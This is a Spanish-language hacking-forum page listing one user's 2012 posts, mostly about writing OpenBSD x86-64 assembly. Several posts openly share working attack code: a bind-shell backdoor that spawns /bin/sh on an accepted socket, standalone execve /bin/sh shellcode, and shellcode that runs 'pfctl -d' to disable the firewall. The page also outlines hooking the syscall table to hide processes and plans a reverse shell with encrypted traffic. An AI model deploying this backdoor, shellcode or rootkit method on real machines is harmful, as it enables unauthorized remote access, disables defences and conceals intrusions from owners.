Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - cpu2

#701
Unix/Unix-Like / Re: Ocultar procesos
17 Diciembre 2012, 12:32 PM
Cita de: Alex Mtx en 17 Diciembre 2012, 09:19 AM
Tendrás que pensar para cual de los *BSD querés desarrollar ... ya que FreeBSD, OpenBSD, DragonflyBSD, NetBSD y demás comparten un pasado en común pero son proyectos y sistemas diferentes.

Sí, solo funciona en OpenBSD, ya lo probé en un Mac OS X y nada no puede ni ejecutar el binario, que desilusión xD.

Cita de: Alex Mtx en 17 Diciembre 2012, 09:19 AM
Tendrás que pensar para cual de los *BSD querés desarrollar ... ya que FreeBSD, OpenBSD, DragonflyBSD, NetBSD y demás comparten un pasado en común pero son proyectos y sistemas diferentes.

Escuché muy buenos reviews de ese libro, pero no lo leí ... lo que te aconsejaría es que lo bajes de algún lado, pispees si tiene lo que necesitás y después ves si te conseguís el de papel o no.

Es lo que voy hacer, odio leer un libro en un ordenador.

Cita de: Alex Mtx en 17 Diciembre 2012, 09:19 AM
Si, al ser un lenguaje más simplificado en sintaxis y formateo se hace más rápido de escribir. El problema es mantenerlo y la portabilidad, sobre todo la portabilidad.
Si escribís assembly para una arquitectura te olvidás del resto ... si escribís un C medianamente limpio compilás para cualquier otra arquitectura (x86/x86_64/"x32"/arm/sparc/mips/blah ), para eso se inventó C como pilar de Unix !! x'3

+1

Cita de: Alex Mtx en 17 Diciembre 2012, 09:19 AM
Pensá que varios routers son de arquitectura arm o mips (el mío es un linux mips). Pero depende mucho de a qué "audiencia" apuntes, claro !  ;)
Correcto, ése es el número de la syscall (no te preocupes, hay un .h que incluye todos los defines así no tenés que andar recordando numeros :D )

Yo las miro en syscall.h.

Cita de: Alex Mtx en 17 Diciembre 2012, 09:19 AM
1) Obtenés la dirección a la "tabla" (es un vector) de syscalls
2) Le cambiás la protección de readonly a readwrite con change_page_attr()
3) Ya pudiendo escribir, cambiás la dirección de la syscall que te interesa (usando el número de syscall -que es la posición en el vector- que sacás de un define por comodidad/portabilidad ) por tu propia función.
4) Profit.

Gracias por la explicación.

Bueno de lo que iba hacerle ala backdoor, ya esta echo menos lo de cifrar el trafico y lo de pf esta casi, la comparto es lo mínimo que puedo hacer.

Código (asm) [Seleccionar]
.section .text
.globl _start
_start:

movb $97, %al       
movq $2, %rdi
movq $1, %rsi
movq $6, %rdx
int $0x80                 
movq %rax, %r12     

push $0x02
movq $104, %rax         
movq %r12, %rdi
movq %rsp,%rsi
mov $16, %rdx
int $0x80                   

movq %r12, %rdi
movq $0x05, %rsi
movq $106, %rax     
int $0x80                   
movq %rax, %r11

xorq %rax, %rax
pushq %rax
movq $30, %rax       
movq %r12, %rdi
movq %r8, %rsi
movq %rsp, %rdx
int $0x80                   
movq %rax, %r11

xorq %rsi, %rsi
movq %r11, %rdi
movb $90, %al
int $0x80                   

incq %rsi
movq %r11, %rdi
movb $90, %al
int $0x80                   

xorq %rax, %rax
xorq %rsi, %rsi
xorq %rdi, %rdi
xorq %rdx, %rdx

.byte 0x50,0x48,0xb8,0x2f,0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x50,0x48,0x89,0xe7,0x48,0x31,0xc0,0x50,0x48,0x89,0xe6,0xb0,0x3b,0xcd,0x80


La shellcode de sh.

Código (asm) [Seleccionar]
.section .text
.globl _start
_start:

pushq %rax
movq $0x68732f6e69622f2f, %rax
pushq %rax
movq %rsp, %rdi
xorq %rax, %rax
pushq %rax
movq %rsp, %rsi
movb $0x3b, %al
int $0x80


Elimine la .section data porque así pesa menos, antes heran unos 2.1K, ahora son unos 1.7K peso muy bajo xD, seguro que en C pesa cinco veces más.

Por cierto al hacer eso tengo el siguiente problema, la estructura sockaddr_in la intento hacer así:

Código (asm) [Seleccionar]

push $0x1226
push $0x0100007f  # 127.0.0.1
push $0x2
movq %rsp, %rsi


Solamente copia 0x2 AF_INET, la dirección y el puerto nada. Con la shellcode de pf me pasa lo mismo, solo copia el primer push.

Un saludo.

P.D: El tema lo doy por resuelto, si sabés y sí quieres, contesta mi última pregunta.
#702
Cita de: x64Core en 27 Noviembre 2012, 19:39 PM
o este ( Lo he encontrado pero esta imcompleto ):
http://www.amazon.com/x86-Instruction-Set-Architecture-Shanley/dp/0977087859/ref=sr_1_4?s=books&ie=UTF8&qid=1354041486&sr=1-4&keywords=set+instructions

La pregunta puede parecer un poco estúpida, pero me aseguro.

¿Esta enfocado a windows, linux o es "universal"?

Un saludo.
#703
ASM / Re: Shellcode direcciones
11 Diciembre 2012, 16:07 PM
Hice una de /bin/sh y funciona.

Código (asm) [Seleccionar]
.section .text
.globl _start
_start:

pushq %rax
movq $0x68732f6e69622f2f, %rax
pushq %rax
movq %rsp, %rdi
xchgq %rax, %rbx
pushq %rax
movq %rsp, %rsi
movb $0x3b, %al
int $0x80


La dirección es de 64bits, por eso la puedo copiar a rax, pero que pasa cuando es mayor como la de arriba por que no funcionan los push?

Un saludo.
#704
ASM / Shellcode direcciones
8 Diciembre 2012, 09:29 AM
Hola

Estoy creando una shellcode para que desactive pf, y tengo el siguiente problema.

Código (asm) [Seleccionar]
.section .text
.globl _start
_start:

pushq %rax
push $0x6c746366
push $0x702f6e69
push $0x62732f2f
movq %rsp, %rdi
pushq %rax
push $0x642d
pushq %rdi
movq %rsp, %rsi
xorq %rax, %rax
movb $0x3b, %al
int $0x80

xorq %rax, %rax
movb $0x01, %al
int $0x80


No presenta ninguna segmentation fault así que la tracé.


11277 l        CALL  execve(0x7f7fffff6960,0x7f7fffff6948,0)
11277 l        NAMI  "//sb"
11277 l        RET   execve -1 errno 2 No such file or directory
11277 l        CALL  exit(0x7f7fffff6960)


Al cargar la dirección de pfctl, solo copia en el registro rdi 0x62732f2f "//sb" no entiendo porque no carga la dirección completa.

Un saludo.
#705
Muy interesantes los sockets raw.

Estoy leyendo las funciones de netcat de escritura y lectura y se ayudan con una función llamada poll un poco similar ala dup2 y utilizan los descriptores.

Bueno si consigo algo ya os diré.

Un saludo.
#706
Sí, pero no con el descriptor de socket si no con el de accept, y le añadiria un execve o una shellcode para la reverse_shell.

Por eso dije lo de cifrar el descriptor, cuando lo tenga acabado ya miraré con tcpdump.

Un saludo.
#707
Cita de: Karcrack en  5 Diciembre 2012, 23:53 PM
No sé muy bien a que te refieres con el descriptor del SOCKET... pero la forma habitual en la que se cifra una conversación cliente-servidor es haciendo que éstos se encarguen de cifrar antes de enviar y descifrar después de recibir.

Me refiero a lo que devuelve la llamada a socket, no pretento hacer un cliente-servidor para conversaciones.

Si eres tan amable de leer uno de mis post lo entenderas, me expreso mal xD.

http://foro.elhacker.net/unixunixlike/ocultar_procesos-t376125.0.html;msg1806597#new

Linea 36 hay esta el descriptor.

Cita de: Karcrack en  5 Diciembre 2012, 23:53 PM
Si realmente estás interesado en la seguridad del protocolo debes de armar algo más complejo que un XOR, deberías de asignarle una clave a cada cliente/servidor y un salt diferente para cada conexión.

Solo era un ejemplo lo de XOR.

Mi idea era utilizar las apis de ipsec, pero el problema es que en la máquina remota tendría que configurar isakmpd.conf y no es plan.

A ese código me gustaria meterle alguna shellcode y una reverse shell, y que la conexión estuviese cifrada como un tunnel de ipsec o ssh si es posible.

Cita de: Karcrack en  5 Diciembre 2012, 23:53 PM
Cualquier duda, ya sabes ;)

Muy amable, gracias.

Un saludo.
#708
Exacto, es el tráfico lo que quiero cifrar.

Pero con la función accept puedes crear un descriptor y luego combinarlo con dup2 y el descriptor stdin para recivir información creo.

Un saludo.

P.D: Estoy empezando en esto, seguramente me equivoqué.

#709
Hola

Cuando creas un socket se guarda en una variable entera que se le llama descriptor, luego ese descriptor se usa para las funciones como connect, bind, revc etc...

Cifrando el descriptor con XOR la conexión funcionaría?

Hay otras formas más "refinadas" de conseguirlo"?

Un saludo.
#710
GNU/Linux / Re: Pregunta sobre bactrack
4 Diciembre 2012, 03:10 AM
Volúmenes lógicos y LVM2.

Un saludo.